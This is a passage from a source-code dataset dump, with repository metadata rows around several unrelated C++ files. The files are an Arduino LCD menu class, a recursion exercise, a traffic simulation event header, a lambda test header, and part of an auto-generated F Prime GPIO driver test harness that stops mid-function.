hexsha stringlengths 40 40 | size int64 7 1.05M | ext stringclasses 13
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 269 | max_stars_repo_name stringlengths 5 108 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 9 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 269 | max_issues_repo_name stringlengths 5 116 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 9 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 269 | max_forks_repo_name stringlengths 5 116 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 9 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 7 1.05M | avg_line_length float64 1.21 330k | max_line_length int64 6 990k | alphanum_fraction float64 0.01 0.99 | author_id stringlengths 2 40 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4e51aed902d19268ced31e4b9cddd7a9870820a5 | 1,381 | cpp | C++ | firmware/lib/LCDMenu/LCDMenu.cpp | nowtechnologies/open_ozone_controller | 38999144a71794eb44ba3ed1d4227068e6253085 | [
"Unlicense"
] | null | null | null | firmware/lib/LCDMenu/LCDMenu.cpp | nowtechnologies/open_ozone_controller | 38999144a71794eb44ba3ed1d4227068e6253085 | [
"Unlicense"
] | null | null | null | firmware/lib/LCDMenu/LCDMenu.cpp | nowtechnologies/open_ozone_controller | 38999144a71794eb44ba3ed1d4227068e6253085 | [
"Unlicense"
] | null | null | null | #include <LiquidCrystal.h>
#include <Arduino.h>
#include "LCDMenu.h"
LCDMenu::LCDMenu(String newName, LiquidCrystal* newLCD, LCDMenu* parentMenu)
{
setName(newName);
setLCD(newLCD);
menuFirst = NULL;
menuLast = NULL;
parent = parentMenu;
}
void LCDMenu::setName(String newName)
{
Name = newName;
}
LCDMenuItem* LCDMenu::next()
{
menuCurrent=menuCurrent->getNext();
return menuCurrent;
}
LCDMenuItem* LCDMenu::prev()
{
menuCurrent=menuCurrent->getPrev();
return menuCurrent;
}
void LCDMenu::addMenuItem(LCDMenuItem* item)
{
if (item != NULL)
{
if (menuFirst == NULL)
{
menuFirst = menuLast = menuCurrent = item;
menuFirst->setPrev(item);
menuFirst->setNext(item);
}
else
{
menuLast->setNext(item);
item->setPrev(menuLast);
item->setNext(menuFirst);
menuFirst->setPrev(item);
menuLast=item;
}
}
}
void LCDMenu::setLCD(LiquidCrystal* newLCD)
{
LCD=newLCD;
}
LiquidCrystal* LCDMenu::getLCD()
{
return LCD;
}
void LCDMenu::selectOption()
{
menuCurrent->executeAction();
}
void LCDMenu::display()
{
LCD->clear();
LCD->setCursor(0,0);
LCD->print(">" + menuCurrent->getName());
if (menuCurrent->getNext() != menuCurrent)
{
LCD->setCursor(1,1);
LCD->print(menuCurrent->getNext()->getName());
}
}
bool LCDMenu::hasParentMenu() {
return (parent != NULL);
}
LCDMenu* LCDMenu::getParentMenu() {
return parent;
}
| 16.247059 | 76 | 0.678494 | nowtechnologies |
4e51f271aecf904b2424b36143a1c72d9b01eeae | 362 | cpp | C++ | Coding Blocks cpp beginner/16.Recursion Basics/03_RecursionArrayisSorted.cpp | saqeeb360/Coding-block-C- | 16cbf706c6a4a704bb07a4a535b64e03c381cd8d | [
"MIT"
] | 4 | 2021-02-27T07:12:03.000Z | 2021-09-19T07:52:33.000Z | Coding Blocks cpp beginner/16.Recursion Basics/03_RecursionArrayisSorted.cpp | saqeeb360/Coding-block-C- | 16cbf706c6a4a704bb07a4a535b64e03c381cd8d | [
"MIT"
] | null | null | null | Coding Blocks cpp beginner/16.Recursion Basics/03_RecursionArrayisSorted.cpp | saqeeb360/Coding-block-C- | 16cbf706c6a4a704bb07a4a535b64e03c381cd8d | [
"MIT"
] | 3 | 2021-05-31T06:25:56.000Z | 2021-10-03T12:01:36.000Z | #include <iostream>
using namespace std;
bool isSorted(int *arr, int n){
// Base case
if(n==0 or n==1){
return true;
}
// Recursive case
if(arr[0] < arr[1] and isSorted(arr+1, n-1)){
return true;
}
return false;
}
int main(){
int arr[] = {1,2,3,14,5};
int n = sizeof(arr)/sizeof(arr[0]);
cout << isSorted(arr, n) <<endl;
} | 16.454545 | 47 | 0.560773 | saqeeb360 |
4e520af78139638ee0561e19b8578b1173ededcb | 857 | hpp | C++ | Semaforo/src/Eventos/EntraCarro.hpp | luizfnunesmarques/datastructures | b37e399e0f1ff184f5f245cad6f89ce8419034a7 | [
"Apache-2.0"
] | null | null | null | Semaforo/src/Eventos/EntraCarro.hpp | luizfnunesmarques/datastructures | b37e399e0f1ff184f5f245cad6f89ce8419034a7 | [
"Apache-2.0"
] | null | null | null | Semaforo/src/Eventos/EntraCarro.hpp | luizfnunesmarques/datastructures | b37e399e0f1ff184f5f245cad6f89ce8419034a7 | [
"Apache-2.0"
] | null | null | null | /*
* EntraCarro.hpp
*
* Created on: 27/04/2015
* Author: LuizF
*/
#ifndef ENTRACARRO_HPP_
#define ENTRACARRO_HPP_
using namespace std;
#include "EventoDePista.hpp"
#include "CarroChegouFim.hpp"
#include "../Pista/Pista.hpp"
#include "../Relogio.hpp"
#include <tuple>
class EntraCarro: public EventoDePista {
public:
EntraCarro(int tempoExecucao, Relogio* relogio,
Pista* pista) :
EventoDePista(tempoExecucao, relogio, pista) {
}
;
Evento* Executar() {
try {
std::pair<int, int> resultAddCarro;
resultAddCarro = pista->AdicionarCarro();
relogio->AdicionaEvento(
new EntraCarro(resultAddCarro.second + nTempoExecucao,relogio, this->pista));
return new CarroChegouFim(nTempoExecucao + resultAddCarro.first, relogio, this->pista);
} catch (int excecao) {
return NULL;
}
}
;
};
#endif /* ENTRACARRO_HPP_ */
| 20.404762 | 90 | 0.70245 | luizfnunesmarques |
4e557e401d9b4c8bd264f279ad85d4652e3454c1 | 5,212 | hpp | C++ | Testbench/lambda.tests.hpp | gpdaniels/gtl | cd495343c5e89395be063a3dff6dfc41492c9677 | [
"MIT"
] | 28 | 2018-07-23T06:52:19.000Z | 2021-09-07T22:15:52.000Z | Testbench/lambda.tests.hpp | gpdaniels/gtl | cd495343c5e89395be063a3dff6dfc41492c9677 | [
"MIT"
] | 17 | 2018-09-13T13:29:05.000Z | 2021-01-04T09:23:31.000Z | Testbench/lambda.tests.hpp | gpdaniels/gtl | cd495343c5e89395be063a3dff6dfc41492c9677 | [
"MIT"
] | 4 | 2019-02-27T13:33:16.000Z | 2019-12-27T14:14:55.000Z | /*
The MIT License
Copyright (c) 2019 Geoffrey Daniels. http://gpdaniels.com/
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE
*/
#pragma once
#ifndef GTL_LAMBDA_TESTS_HPP
#define GTL_LAMBDA_TESTS_HPP
namespace testbench {
template <typename function_type>
class lambda;
template <typename return_type, typename... argument_types>
class lambda<return_type(argument_types...)> final {
private:
/// @brief A template to remove references from types.
template<typename type>
struct remove_reference final {
using type_unreferenced = type;
};
/// @brief A template to remove references from types.
template<typename type>
struct remove_reference<type&> final {
using type_unreferenced = type;
};
/// @brief A template to remove references from types.
template<typename type>
struct remove_reference<type&&> final {
using type_unreferenced = type;
};
/// @brief A template to check if two types are the same.
template<typename lhs_type, typename rhs_type>
struct is_same_type final {
constexpr static const bool value = false;
};
/// @brief A template to check if two types are the same.
template<typename type>
struct is_same_type<type, type> final {
constexpr static const bool value = true;
};
private:
void* function;
return_type (*executor)(const void*, argument_types...);
void (*destructor)(void*&);
public:
~lambda() {
if (this->destructor) {
this->destructor(this->function);
}
}
constexpr lambda()
: function(nullptr)
, executor(nullptr)
, destructor(nullptr) {
}
private:
constexpr static void swap(lambda& lhs, lambda& rhs) {
void* function = lhs.function;
lhs.function = rhs.function;
rhs.function = function;
return_type (*executor)(const void*, argument_types...) = lhs.executor;
lhs.executor = rhs.executor;
rhs.executor = executor;
void (*destructor)(void*&) = lhs.destructor;
lhs.destructor = rhs.destructor;
rhs.destructor = destructor;
}
public:
template <typename function_type>
constexpr lambda(const function_type& raw_function)
: lambda() {
// First get real function type.
using real_function_type = decltype(raw_function);
using pure_function_type = typename remove_reference<real_function_type>::type_unreferenced;
// If input is already a lambda type, cast can call the appropriate constructor.
constexpr bool is_lambda = is_same_type<lambda, pure_function_type>::value;
if constexpr (is_lambda) {
constexpr bool is_move = is_same_type<real_function_type, pure_function_type&&>::value;
if constexpr (is_move) {
lambda other(static_cast<lambda&&>(raw_function));
lambda::swap(*this, other);
}
else {
lambda other(static_cast<const lambda&>(raw_function));
lambda::swap(*this, other);
}
}
else {
this->executor = [](const void* function_pointer, argument_types... arguments) -> return_type {
return static_cast<const pure_function_type*>(function_pointer)->operator()(arguments...);
};
this->destructor = [](void*& function_pointer) -> void {
delete static_cast<pure_function_type*>(function_pointer);
function_pointer = nullptr;
};
}
}
private:
lambda(const lambda& other) = delete;
lambda& operator=(const lambda& other) = delete;
public:
constexpr return_type operator()(argument_types... arguments) const {
return this->executor(this->function, arguments...);
}
};
}
#endif // GTL_LAMBDA_TESTS_HPP
| 37.768116 | 111 | 0.623753 | gpdaniels |
4e5cb8fa59ee0e9343a32f1b80135ce4a8210d72 | 31,108 | cpp | C++ | Drv/LinuxGpioDriver/test/ut/TesterBase.cpp | lydiaxing/fprime | f6b3e03f89e9aca1614243c9896d4a72aa0cc726 | [
"Apache-2.0"
] | 2 | 2020-09-08T05:39:05.000Z | 2021-05-04T14:58:51.000Z | Drv/LinuxGpioDriver/test/ut/TesterBase.cpp | lydiaxing/fprime | f6b3e03f89e9aca1614243c9896d4a72aa0cc726 | [
"Apache-2.0"
] | 2 | 2019-02-27T03:17:15.000Z | 2019-03-01T22:34:30.000Z | Drv/LinuxGpioDriver/test/ut/TesterBase.cpp | lydiaxing/fprime | f6b3e03f89e9aca1614243c9896d4a72aa0cc726 | [
"Apache-2.0"
] | 3 | 2019-02-17T20:41:15.000Z | 2019-02-26T21:06:50.000Z | // ======================================================================
// \title LinuxGpioDriver/test/ut/TesterBase.cpp
// \author Auto-generated
// \brief cpp file for LinuxGpioDriver component test harness base class
//
// \copyright
// Copyright 2009-2016, by the California Institute of Technology.
// ALL RIGHTS RESERVED. United States Government Sponsorship
// acknowledged. Any commercial use must be negotiated with the Office
// of Technology Transfer at the California Institute of Technology.
//
// This software may be subject to U.S. export control laws and
// regulations. By accepting this document, the user agrees to comply
// with all U.S. export laws and regulations. User has the
// responsibility to obtain export licenses, or other export authority
// as may be required before exporting such information to foreign
// countries or providing access to foreign persons.
// ======================================================================
#include <stdlib.h>
#include <string.h>
#include "TesterBase.hpp"
namespace Drv {
// ----------------------------------------------------------------------
// Construction, initialization, and destruction
// ----------------------------------------------------------------------
LinuxGpioDriverTesterBase ::
LinuxGpioDriverTesterBase(
#if FW_OBJECT_NAMES == 1
const char *const compName,
const U32 maxHistorySize
#else
const U32 maxHistorySize
#endif
) :
#if FW_OBJECT_NAMES == 1
Fw::PassiveComponentBase(compName)
#else
Fw::PassiveComponentBase()
#endif
{
// Initialize event histories
#if FW_ENABLE_TEXT_LOGGING
this->textLogHistory = new History<TextLogEntry>(maxHistorySize);
#endif
this->eventHistory_GP_OpenError =
new History<EventEntry_GP_OpenError>(maxHistorySize);
this->eventHistory_GP_ConfigError =
new History<EventEntry_GP_ConfigError>(maxHistorySize);
this->eventHistory_GP_WriteError =
new History<EventEntry_GP_WriteError>(maxHistorySize);
this->eventHistory_GP_ReadError =
new History<EventEntry_GP_ReadError>(maxHistorySize);
this->eventHistory_GP_PortOpened =
new History<EventEntry_GP_PortOpened>(maxHistorySize);
this->eventHistory_GP_IntStartError =
new History<EventEntry_GP_IntStartError>(maxHistorySize);
this->eventHistory_GP_IntWaitError =
new History<EventEntry_GP_IntWaitError>(maxHistorySize);
// Initialize histories for typed user output ports
this->fromPortHistory_intOut =
new History<FromPortEntry_intOut>(maxHistorySize);
// Clear history
this->clearHistory();
}
LinuxGpioDriverTesterBase ::
~LinuxGpioDriverTesterBase(void)
{
// Destroy event histories
#if FW_ENABLE_TEXT_LOGGING
delete this->textLogHistory;
#endif
delete this->eventHistory_GP_OpenError;
delete this->eventHistory_GP_ConfigError;
delete this->eventHistory_GP_WriteError;
delete this->eventHistory_GP_ReadError;
delete this->eventHistory_GP_PortOpened;
delete this->eventHistory_GP_IntStartError;
delete this->eventHistory_GP_IntWaitError;
}
void LinuxGpioDriverTesterBase ::
init(
const NATIVE_INT_TYPE instance
)
{
// Initialize base class
Fw::PassiveComponentBase::init(instance);
// Attach input port Log
for (
NATIVE_INT_TYPE _port = 0;
_port < this->getNum_from_Log();
++_port
) {
this->m_from_Log[_port].init();
this->m_from_Log[_port].addCallComp(
this,
from_Log_static
);
this->m_from_Log[_port].setPortNum(_port);
#if FW_OBJECT_NAMES == 1
char _portName[80];
(void) snprintf(
_portName,
sizeof(_portName),
"%s_from_Log[%d]",
this->m_objName,
_port
);
this->m_from_Log[_port].setObjName(_portName);
#endif
}
// Attach input port LogText
#if FW_ENABLE_TEXT_LOGGING == 1
for (
NATIVE_INT_TYPE _port = 0;
_port < this->getNum_from_LogText();
++_port
) {
this->m_from_LogText[_port].init();
this->m_from_LogText[_port].addCallComp(
this,
from_LogText_static
);
this->m_from_LogText[_port].setPortNum(_port);
#if FW_OBJECT_NAMES == 1
char _portName[80];
(void) snprintf(
_portName,
sizeof(_portName),
"%s_from_LogText[%d]",
this->m_objName,
_port
);
this->m_from_LogText[_port].setObjName(_portName);
#endif
}
#endif
// Attach input port Time
for (
NATIVE_INT_TYPE _port = 0;
_port < this->getNum_from_Time();
++_port
) {
this->m_from_Time[_port].init();
this->m_from_Time[_port].addCallComp(
this,
from_Time_static
);
this->m_from_Time[_port].setPortNum(_port);
#if FW_OBJECT_NAMES == 1
char _portName[80];
(void) snprintf(
_portName,
sizeof(_portName),
"%s_from_Time[%d]",
this->m_objName,
_port
);
this->m_from_Time[_port].setObjName(_portName);
#endif
}
// Attach input port intOut
for (
NATIVE_INT_TYPE _port = 0;
_port < this->getNum_from_intOut();
++_port
) {
this->m_from_intOut[_port].init();
this->m_from_intOut[_port].addCallComp(
this,
from_intOut_static
);
this->m_from_intOut[_port].setPortNum(_port);
#if FW_OBJECT_NAMES == 1
char _portName[80];
(void) snprintf(
_portName,
sizeof(_portName),
"%s_from_intOut[%d]",
this->m_objName,
_port
);
this->m_from_intOut[_port].setObjName(_portName);
#endif
}
// Initialize output port gpioWrite
for (
NATIVE_INT_TYPE _port = 0;
_port < this->getNum_to_gpioWrite();
++_port
) {
this->m_to_gpioWrite[_port].init();
#if FW_OBJECT_NAMES == 1
char _portName[80];
snprintf(
_portName,
sizeof(_portName),
"%s_to_gpioWrite[%d]",
this->m_objName,
_port
);
this->m_to_gpioWrite[_port].setObjName(_portName);
#endif
}
// Initialize output port gpioRead
for (
NATIVE_INT_TYPE _port = 0;
_port < this->getNum_to_gpioRead();
++_port
) {
this->m_to_gpioRead[_port].init();
#if FW_OBJECT_NAMES == 1
char _portName[80];
snprintf(
_portName,
sizeof(_portName),
"%s_to_gpioRead[%d]",
this->m_objName,
_port
);
this->m_to_gpioRead[_port].setObjName(_portName);
#endif
}
}
// ----------------------------------------------------------------------
// Getters for port counts
// ----------------------------------------------------------------------
NATIVE_INT_TYPE LinuxGpioDriverTesterBase ::
getNum_to_gpioWrite(void) const
{
return (NATIVE_INT_TYPE) FW_NUM_ARRAY_ELEMENTS(this->m_to_gpioWrite);
}
NATIVE_INT_TYPE LinuxGpioDriverTesterBase ::
getNum_from_Log(void) const
{
return (NATIVE_INT_TYPE) FW_NUM_ARRAY_ELEMENTS(this->m_from_Log);
}
#if FW_ENABLE_TEXT_LOGGING == 1
NATIVE_INT_TYPE LinuxGpioDriverTesterBase ::
getNum_from_LogText(void) const
{
return (NATIVE_INT_TYPE) FW_NUM_ARRAY_ELEMENTS(this->m_from_LogText);
}
#endif
NATIVE_INT_TYPE LinuxGpioDriverTesterBase ::
getNum_to_gpioRead(void) const
{
return (NATIVE_INT_TYPE) FW_NUM_ARRAY_ELEMENTS(this->m_to_gpioRead);
}
NATIVE_INT_TYPE LinuxGpioDriverTesterBase ::
getNum_from_Time(void) const
{
return (NATIVE_INT_TYPE) FW_NUM_ARRAY_ELEMENTS(this->m_from_Time);
}
NATIVE_INT_TYPE LinuxGpioDriverTesterBase ::
getNum_from_intOut(void) const
{
return (NATIVE_INT_TYPE) FW_NUM_ARRAY_ELEMENTS(this->m_from_intOut);
}
// ----------------------------------------------------------------------
// Connectors for to ports
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
connect_to_gpioWrite(
const NATIVE_INT_TYPE portNum,
Drv::InputGpioWritePort *const gpioWrite
)
{
FW_ASSERT(portNum < this->getNum_to_gpioWrite(),static_cast<AssertArg>(portNum));
this->m_to_gpioWrite[portNum].addCallPort(gpioWrite);
}
void LinuxGpioDriverTesterBase ::
connect_to_gpioRead(
const NATIVE_INT_TYPE portNum,
Drv::InputGpioReadPort *const gpioRead
)
{
FW_ASSERT(portNum < this->getNum_to_gpioRead(),static_cast<AssertArg>(portNum));
this->m_to_gpioRead[portNum].addCallPort(gpioRead);
}
// ----------------------------------------------------------------------
// Invocation functions for to ports
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
invoke_to_gpioWrite(
const NATIVE_INT_TYPE portNum,
bool state
)
{
FW_ASSERT(portNum < this->getNum_to_gpioWrite(),static_cast<AssertArg>(portNum));
FW_ASSERT(portNum < this->getNum_to_gpioWrite(),static_cast<AssertArg>(portNum));
this->m_to_gpioWrite[portNum].invoke(
state
);
}
void LinuxGpioDriverTesterBase ::
invoke_to_gpioRead(
const NATIVE_INT_TYPE portNum,
bool &state
)
{
FW_ASSERT(portNum < this->getNum_to_gpioRead(),static_cast<AssertArg>(portNum));
FW_ASSERT(portNum < this->getNum_to_gpioRead(),static_cast<AssertArg>(portNum));
this->m_to_gpioRead[portNum].invoke(
state
);
}
// ----------------------------------------------------------------------
// Connection status for to ports
// ----------------------------------------------------------------------
bool LinuxGpioDriverTesterBase ::
isConnected_to_gpioWrite(const NATIVE_INT_TYPE portNum)
{
FW_ASSERT(portNum < this->getNum_to_gpioWrite(), static_cast<AssertArg>(portNum));
return this->m_to_gpioWrite[portNum].isConnected();
}
bool LinuxGpioDriverTesterBase ::
isConnected_to_gpioRead(const NATIVE_INT_TYPE portNum)
{
FW_ASSERT(portNum < this->getNum_to_gpioRead(), static_cast<AssertArg>(portNum));
return this->m_to_gpioRead[portNum].isConnected();
}
// ----------------------------------------------------------------------
// Getters for from ports
// ----------------------------------------------------------------------
Fw::InputLogPort *LinuxGpioDriverTesterBase ::
get_from_Log(const NATIVE_INT_TYPE portNum)
{
FW_ASSERT(portNum < this->getNum_from_Log(),static_cast<AssertArg>(portNum));
return &this->m_from_Log[portNum];
}
#if FW_ENABLE_TEXT_LOGGING == 1
Fw::InputLogTextPort *LinuxGpioDriverTesterBase ::
get_from_LogText(const NATIVE_INT_TYPE portNum)
{
FW_ASSERT(portNum < this->getNum_from_LogText(),static_cast<AssertArg>(portNum));
return &this->m_from_LogText[portNum];
}
#endif
Fw::InputTimePort *LinuxGpioDriverTesterBase ::
get_from_Time(const NATIVE_INT_TYPE portNum)
{
FW_ASSERT(portNum < this->getNum_from_Time(),static_cast<AssertArg>(portNum));
return &this->m_from_Time[portNum];
}
Svc::InputCyclePort *LinuxGpioDriverTesterBase ::
get_from_intOut(const NATIVE_INT_TYPE portNum)
{
FW_ASSERT(portNum < this->getNum_from_intOut(),static_cast<AssertArg>(portNum));
return &this->m_from_intOut[portNum];
}
// ----------------------------------------------------------------------
// Static functions for from ports
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
from_intOut_static(
Fw::PassiveComponentBase *const callComp,
const NATIVE_INT_TYPE portNum,
Svc::TimerVal &cycleStart
)
{
FW_ASSERT(callComp);
LinuxGpioDriverTesterBase* _testerBase =
static_cast<LinuxGpioDriverTesterBase*>(callComp);
_testerBase->from_intOut_handlerBase(
portNum,
cycleStart
);
}
void LinuxGpioDriverTesterBase ::
from_Log_static(
Fw::PassiveComponentBase *const component,
const NATIVE_INT_TYPE portNum,
FwEventIdType id,
Fw::Time &timeTag,
Fw::LogSeverity severity,
Fw::LogBuffer &args
)
{
LinuxGpioDriverTesterBase* _testerBase =
static_cast<LinuxGpioDriverTesterBase*>(component);
_testerBase->dispatchEvents(id, timeTag, severity, args);
}
#if FW_ENABLE_TEXT_LOGGING == 1
void LinuxGpioDriverTesterBase ::
from_LogText_static(
Fw::PassiveComponentBase *const component,
const NATIVE_INT_TYPE portNum,
FwEventIdType id,
Fw::Time &timeTag,
Fw::TextLogSeverity severity,
Fw::TextLogString &text
)
{
LinuxGpioDriverTesterBase* _testerBase =
static_cast<LinuxGpioDriverTesterBase*>(component);
_testerBase->textLogIn(id,timeTag,severity,text);
}
#endif
void LinuxGpioDriverTesterBase ::
from_Time_static(
Fw::PassiveComponentBase *const component,
const NATIVE_INT_TYPE portNum,
Fw::Time& time
)
{
LinuxGpioDriverTesterBase* _testerBase =
static_cast<LinuxGpioDriverTesterBase*>(component);
time = _testerBase->m_testTime;
}
// ----------------------------------------------------------------------
// Histories for typed from ports
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
clearFromPortHistory(void)
{
this->fromPortHistorySize = 0;
this->fromPortHistory_intOut->clear();
}
// ----------------------------------------------------------------------
// From port: intOut
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
pushFromPortEntry_intOut(
Svc::TimerVal &cycleStart
)
{
FromPortEntry_intOut _e = {
cycleStart
};
this->fromPortHistory_intOut->push_back(_e);
++this->fromPortHistorySize;
}
// ----------------------------------------------------------------------
// Handler base functions for from ports
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
from_intOut_handlerBase(
const NATIVE_INT_TYPE portNum,
Svc::TimerVal &cycleStart
)
{
FW_ASSERT(portNum < this->getNum_from_intOut(),static_cast<AssertArg>(portNum));
this->from_intOut_handler(
portNum,
cycleStart
);
}
// ----------------------------------------------------------------------
// History
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
clearHistory()
{
this->textLogHistory->clear();
this->clearEvents();
this->clearFromPortHistory();
}
// ----------------------------------------------------------------------
// Time
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
setTestTime(const Fw::Time& time)
{
this->m_testTime = time;
}
// ----------------------------------------------------------------------
// Event dispatch
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
dispatchEvents(
const FwEventIdType id,
Fw::Time &timeTag,
const Fw::LogSeverity severity,
Fw::LogBuffer &args
)
{
args.resetDeser();
const U32 idBase = this->getIdBase();
FW_ASSERT(id >= idBase, id, idBase);
switch (id - idBase) {
case LinuxGpioDriverComponentBase::EVENTID_GP_OPENERROR:
{
Fw::SerializeStatus _status = Fw::FW_SERIALIZE_OK;
#if FW_AMPCS_COMPATIBLE
// Deserialize the number of arguments.
U8 _numArgs;
_status = args.deserialize(_numArgs);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
// verify they match expected.
FW_ASSERT(_numArgs == 2,_numArgs,2);
#endif
I32 gpio;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(gpio);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
I32 error;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(error);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
this->logIn_WARNING_HI_GP_OpenError(gpio, error);
break;
}
case LinuxGpioDriverComponentBase::EVENTID_GP_CONFIGERROR:
{
Fw::SerializeStatus _status = Fw::FW_SERIALIZE_OK;
#if FW_AMPCS_COMPATIBLE
// Deserialize the number of arguments.
U8 _numArgs;
_status = args.deserialize(_numArgs);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
// verify they match expected.
FW_ASSERT(_numArgs == 2,_numArgs,2);
#endif
I32 gpio;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(gpio);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
I32 error;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(error);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
this->logIn_WARNING_HI_GP_ConfigError(gpio, error);
break;
}
case LinuxGpioDriverComponentBase::EVENTID_GP_WRITEERROR:
{
Fw::SerializeStatus _status = Fw::FW_SERIALIZE_OK;
#if FW_AMPCS_COMPATIBLE
// Deserialize the number of arguments.
U8 _numArgs;
_status = args.deserialize(_numArgs);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
// verify they match expected.
FW_ASSERT(_numArgs == 2,_numArgs,2);
#endif
I32 gpio;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(gpio);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
I32 error;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(error);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
this->logIn_WARNING_HI_GP_WriteError(gpio, error);
break;
}
case LinuxGpioDriverComponentBase::EVENTID_GP_READERROR:
{
Fw::SerializeStatus _status = Fw::FW_SERIALIZE_OK;
#if FW_AMPCS_COMPATIBLE
// Deserialize the number of arguments.
U8 _numArgs;
_status = args.deserialize(_numArgs);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
// verify they match expected.
FW_ASSERT(_numArgs == 2,_numArgs,2);
#endif
I32 gpio;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(gpio);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
I32 error;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(error);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
this->logIn_WARNING_HI_GP_ReadError(gpio, error);
break;
}
case LinuxGpioDriverComponentBase::EVENTID_GP_PORTOPENED:
{
